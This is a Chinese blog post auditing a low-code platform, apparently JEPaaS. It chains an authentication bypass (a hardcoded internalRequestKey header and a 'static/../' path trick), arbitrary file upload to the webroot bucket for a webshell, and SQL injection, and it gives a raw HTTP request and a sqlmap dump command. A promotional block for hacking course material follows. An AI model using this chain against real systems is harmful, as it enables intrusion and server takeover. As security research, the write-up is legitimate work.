某低代码平台代码审计分析

一、权限绕过

发现很多接口没登录就不能访问,于是直接定位到sessionfilter

第一种:

image.png

image.png

所以很简单,我们加上这个头就能绕过了

第二种:

            //请求路径
            String uri = request.getRequestURI();

            //校验是否放行
            if (noFiltersMatcher.matches(uri)) {
                doFilter = false;
            }

image.png

类似shiro的权限绕过,可以利用static/../je/document/file绕过

二、文件上传审计

根据关键字匹配很容易可以定位到两个接口

/je/document/file
/je/disk/file
还有其他的,逻辑都差不多

就直接看/je/document/file

前面都是一些参数处理,可以略过,值得关注的是这里有两个参数bucket和dir是可控的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

直接往下看到

 //保存文件并持久化业务数据
 List fileBos = documentBusService.saveFile(fileUploadFiles, userId, metadata, bucket, dir);

跟进进入到接口的实现方法

public List saveFile(List fileUploadFiles, String userId, JSONObject metadata, String bucket, String dir) {
        Calendar now = Calendar.getInstance();
        List files = new ArrayList();
        Iterator var8 = fileUploadFiles.iterator();

        while(true) {
            FileUpload fileUpload;
            String fileKey;
            while(true) {
                if (!var8.hasNext()) {
                    return files;
                }

                fileUpload = (FileUpload)var8.next();
                fileKey = fileUpload.getFileKey();
                if (StringUtils.isNotBlank(fileKey)) {
                    if (this.selectFileByKey(fileKey) != null) {
                        continue;
                    }
                    break;
                }

                fileKey = JEUUID.uuid();
                break;
            }

            this.log.warn("{} Upload file start ...", fileKey);
            String fileName = fileUpload.getFileName();
            Long size = fileUpload.getSize();
            String contentType = fileUpload.getContentType();
            this.log.warn("{} File msg: name({}),size({}),type({}),bucket({}).", new Object[]{fileKey, fileName, size, contentType, bucket});
            this.log.warn("{} Start read byte array ...", fileKey);
            long currentTimeMillis = System.currentTimeMillis();
            byte[] bytes = IoUtil.readBytes(fileUpload.getFile());
            this.log.warn("{} Read byte success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);

            try {
                Bucket bucketBO = this.fileManager.findBucket(bucket);
                DocumentFileDO fileDO = null;
                DigestEnum digestEnum = null;
                String digestValue = null;
                if (this.fileAutoGenerator == null) {
                    this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
                }

                if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
                    digestEnum = DigestEnum.getDefault();
                    digestValue = this.fileManager.messageDigest(bytes, digestEnum);
                    this.log.warn("{} Check file digest.", fileKey);
                    fileDO = this.fileDAO.selectFileByDigest(digestEnum, digestValue, bucketBO.getBucket());
                    if (fileDO != null && !this.fileManager.existFile(fileDO.getFilePath(), fileDO.getBucket())) {
                        fileDO.setDeleted(true);
                        this.fileDAO.update(fileDO);
                        fileDO = null;
                    }
                }

                if (fileDO == null) {
                    currentTimeMillis = System.currentTimeMillis();
                    this.log.warn("{} Save file start ...", fileKey);
                    FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);
                    this.log.warn("{} Save file success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis);
                    fileDO = new DocumentFileDO();
                    BeanUtil.copyProperties(fileSaveDTO, fileDO);
                    String[] splitFolder = fileSaveDTO.getFilePath().split("/");
                    fileDO.setFolder(fileSaveDTO.getFilePath().replaceAll(splitFolder[splitFolder.length - 1], ""));
                    fileDO.setContentType(fileUpload.getContentType());
                    fileDO.setSize(fileUpload.getSize());
                    if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) {
                        fileDO.setDigestType(digestEnum.getCode());
                        fileDO.setDigestValue(digestValue);
                    }

                    fileDO.setCreateUser(userId);
                    fileDO.setModifiedUser(userId);
                    this.fileDAO.save(fileDO);
                }

...
....
......
            this.log.warn("{} Upload file end ...", fileKey);
        }
    }

方法很长,但基本上都是一些赋值取值的操作,其中会判断dir是否为空,如果为空就直接进入到下一个if,因为fileDO没有被操作过,所以进入到if中

再跟进到FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir);

public FileSaveDTO saveFile(String fileName, String contentType, byte[] byteArray, Bucket bucket, String dir) {
        ByteArrayInputStream temp = null;

        FileSaveDTO var24;
        try {
            if (this.fileAutoGenerator == null) {
                this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance();
            }

            FileOperate fileOperate = FileOperateFactory.getInstance(bucket);
            StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

            String[] splits = fullName.split("\\.");
            String name = splits[0];
            String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
            temp = IoUtil.toStream(byteArray);
            UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
            FileSaveDTO fileSaveDTO = new FileSaveDTO();
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                name = dto.getFilePath().split("/")[1];
            }

            fileSaveDTO.setName(name);
            fileSaveDTO.setSuffix(suffix);
            fileSaveDTO.setFullName(fullName);
            fileSaveDTO.setFilePath(dto.getFilePath());
            fileSaveDTO.setFullUrl(dto.getFullUrl());
            fileSaveDTO.setBucket(bucket.getBucket());
            fileSaveDTO.setSaveType(bucket.getSaveType());
            fileSaveDTO.setPermission(bucket.getPermission());
            if (this.fileAutoGenerator.thumbnailGenerator()) {
                InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
                if (thumbnail != null) {
                    UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);
                    fileSaveDTO.setThumbnail(thumbnailDto.getFilePath());
                }
            }

这里首先将bucket对象传入了一个文件操作的工厂类(FileOperateFactory)中去获取实例,我们跟进,

public static FileOperate getInstance(Bucket bucketBO) {
        try {
            if (INSTANCES.containsKey(bucketBO.getBucket()) && ((FileOperate)INSTANCES.get(bucketBO.getBucket())).isLastVersion(bucketBO.getModifiedTime())) {
                return (FileOperate)INSTANCES.get(bucketBO.getBucket());
            } else {
                FileOperate fileOperate = buildFileOperate(bucketBO);
                if (fileOperate == null) {
                    throw new Exception("文件工具类实例构建失败!");
                } else {
                    INSTANCES.put(bucketBO.getBucket(), fileOperate);
                    return fileOperate;
                }
            }
        } catch (Exception var2) {
            log.info("FileOperate create fail, {}", JSON.toJSONString(bucketBO));
            throw new DocumentException(var2.getMessage(), DocumentExceptionEnum.DOCUMENT_FILE_OPERATE_INIT, var2);
        }
    }

    private static FileOperate buildFileOperate(Bucket bucketBO) throws Exception {
        SaveTypeEnum saveType = SaveTypeEnum.getDefault(bucketBO.getSaveType());
        if (SaveTypeEnum.aliyun == saveType) {
            return new FileOperateOSS(bucketBO.getAccessBucket(), bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getUrl(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else if (SaveTypeEnum.DEFAULT == saveType) {
            return new FileOperateLocal(bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else if (SaveTypeEnum.tencent == saveType) {
            return new FileOperateTencent(bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getExt1(), bucketBO.getAccessBucket(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime(), bucketBO.getUrl());
        } else if (SaveTypeEnum.mongodb == saveType) {
            return new FileOperateMongodb(bucketBO.getBasePath(), bucketBO.getModifiedTime());
        } else {
            String key = "save." + bucketBO.getSaveType();
            String className = props.getProperty(key);
            Class clazz = Class.forName(className);
            Constructor c = clazz.getConstructor(Bucket.class);
            return (FileOperate)c.newInstance(bucketBO);
        }
    }

进入到buildFileOperate方法发现会判断bucket对象的saveType类型,跟到枚举类中发现有这几个

image.png

但是这是怎么来的呢,这里我去翻了一下数据库,在je_document_bucket表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以知道,webroot和disk-oss这两个bucket都是对应defalut类型的。

实例化出来后,继续往下走

           StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

            String[] splits = fullName.split("\\.");
            String name = splits[0];
            String suffix = splits.length == 1 ? "" : splits[splits.length - 1];
            temp = IoUtil.toStream(byteArray);
            UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);
            FileSaveDTO fileSaveDTO = new FileSaveDTO();
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                name = dto.getFilePath().split("/")[1];
            }

      ....
        ....
            if (this.fileAutoGenerator.thumbnailGenerator()) {
                InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix);
                if (thumbnail != null) {
                    UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail);

这里就是根据不同情况获取文件路径和文件名,我们后面需要的时候再过来看

我们直接跟进到UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);

这里就会发现,有四个实现类,而我们要getshell,当然是需要选择走本地上传。

image.png
所以我们就得控制fileOperate的类型,而这个正是之前FileOperateFactory实例化出来的对象,

跟进工厂类

image.png
会走到local

image.png

而disk-oss是default

image.png
所以会走到local的upload file

image.png
当bucket类型为default,就会是

image.png

所以就知道,我们控制bucket参数值为webroot

接着,能够上传文件了,但是还不知道路径,所以返回到之前的方法

StringBuilder filePath = new StringBuilder();
            String fullName = "";
            if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) {
                fullName = fileName;
                filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName));
            } else {
                if (StringUtils.isNotBlank(dir)) {
                    filePath.append(dir);
                } else {
                    filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket));
                }

                fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket);
                filePath.append("/").append(fullName);
            }

这里dir可控,可以直接随便取个名字,就是一个新文件夹,也可以留空,会在document下生成一个/year/yy-mm/格式的文件夹

可以先看看在数据库中结果

image.png

然后最麻烦的点就是这个文件名,fileNameGenerator这个方法会用uuid再生成一个文件名,并没有沿用前面生成的fileKey,所以在最终页面回显的时候,看到的fileKey并不是文件名

image.png

三、SQL注入

后面去翻了自带的sql文件,发现在je_document_file表中会记录存储上传的文件,包括完整路径,正好之前审计的时候看代码也发现了有很多地方的sql语句都是直接拼接的,可以直接注入,这里我随便找了一个

POST /rbac/im/accessToTeanantInfo HTTP/1.1
Host: xxxxx
Accept-Language: zh-CN,zh;q=0.9
internalRequestKey: schedule_898901212
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: je-local-lang=zh_CN; JSESSIONID=155BD0DA95609068A00408ACF1326C63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

tenantId=1

image.png

利用sqlmap直接跑可以出数据

sqlmap -r 2.txt --level 3 -D "jepaas" -T "je_document_file" --dump --fresh-queries

–fresh-queries是因为sqlmap可能有缓存,数据不刷新,导致找不到文件名。

四、要注意的几个点

一、数据库不一定就是默认的jepass,有可能会变

二、文件上传的bucket不同会影响是否能够在页面访问,比如webroot可以解析到页面上,disk-oss则不行,如下图。并且我尝试了他系统的一些文件也是如此,当然不排除是这个站的一些配置的原因。但是如果碰到这种配置的话就不能够利用disk那个上传接口,因为默认写死了就是disk-oss

image.png

image.png

在这里插入图片描述

所以我个人还是建议采用document这个接口,因为这个接口的bucket是可控的

image.png

image.png

时间都是能对上的

image.png

三、访问文件也需要带上那个internalRequestKey: schedule\_898901212header头去访问,不然过不了认证

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

  • 10
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值